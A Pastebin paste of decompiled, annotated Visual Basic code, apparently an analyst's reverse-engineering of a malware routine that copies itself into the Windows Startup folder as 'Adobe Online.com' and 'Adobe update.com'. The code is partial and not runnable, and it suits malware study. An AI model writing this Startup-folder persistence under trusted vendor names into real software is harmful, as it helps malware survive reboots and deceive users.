Advertisement
Guest User

Untitled

a guest
Feb 9th, 2022
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ' Drops the 2 copies of itself
  2. Public Function funct10() '40417C
  3.  'Data Table: 401838
  4.  ' Define variables
  5.  Dim original_name As Variant
  6.   Dim copy1_name As Variant
  7.   Dim var_140 As String
  8.   Dim var_11C As String
  9.   Dim remaining_copy As Double
  10.  
  11.   loc_404066: On Error Goto loc_40416F ' Exit on error
  12.  
  13.   loc_404082: startup_path = funct1(0) & "\" ' Get the Startup folder path
  14.  loc_4040A2: ao_path = startup_path & "Adobe Online" & ".com" 'Variant. Name of the first copy
  15.  loc_4040BE: au_path = startup_path & "Adobe update" & ".com" 'Variant. Name of the second copy
  16.  loc_4040D1: var_118 = Me.Global.App
  17.  
  18.   loc_4040E1: original_name = CVar(App.EXEName) 'String
  19.  loc_4040E7: Thumbs   .db.address_80000210
  20.   loc_4040F4: copy1_name = "Adobe Online"
  21.   loc_4040FD: Thumbs   .db.address_80000210
  22.  
  23.   ' Copy itself to the given path ?
  24.  loc_404115: If (var_12C = var_12C) Then
  25.   loc_40411B:   var_140 = CStr(au_path) ' Maybe an arg?
  26.  loc_404122:   var_11C = CStr(ao_path) ' Maybe an arg?
  27.                ' The files must be created and copied to the location,
  28.                ' so its probable that this 2 calls are responsible
  29.                ' for the file system operations
  30.  loc_404126:   Thumbs   .db.address_80000240
  31.   loc_40413A:   Thumbs   .db.address_80000258
  32.   loc_40413F:   remaining_copy = au_path
  33.   loc_404145: Else ' Do the same as above, but return different app paths
  34.  loc_404148:   var_140 = CStr(ao_path)
  35.   loc_40414F:   var_11C = CStr(au_path)
  36.   loc_404153:   Thumbs   .db.address_80000240
  37.   loc_404167:   Thumbs   .db.address_80000258
  38.   loc_40416C:   remaining_copy = ao_path
  39.   loc_40416F: End If
  40.  
  41.   loc_40416F: ' Referenced from: 404066
  42.  loc_40416F: funct10 = remaining_copy
  43.   loc_404175: funct10 = 2 ' Return 2
  44. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement